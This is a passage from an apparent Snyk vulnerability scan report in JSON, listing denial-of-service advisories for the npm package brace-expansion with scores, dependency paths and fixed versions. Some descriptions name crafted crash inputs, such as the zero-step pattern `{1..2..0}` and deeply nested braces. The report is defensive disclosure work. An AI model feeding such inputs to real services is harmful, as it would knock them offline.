}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.6.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.6.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.6.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"pacote@18.0.6",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"pacote@21.5.1",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"pacote@18.0.6",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"pacote@21.5.1",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"pacote@18.0.6",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"pacote@21.5.1",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
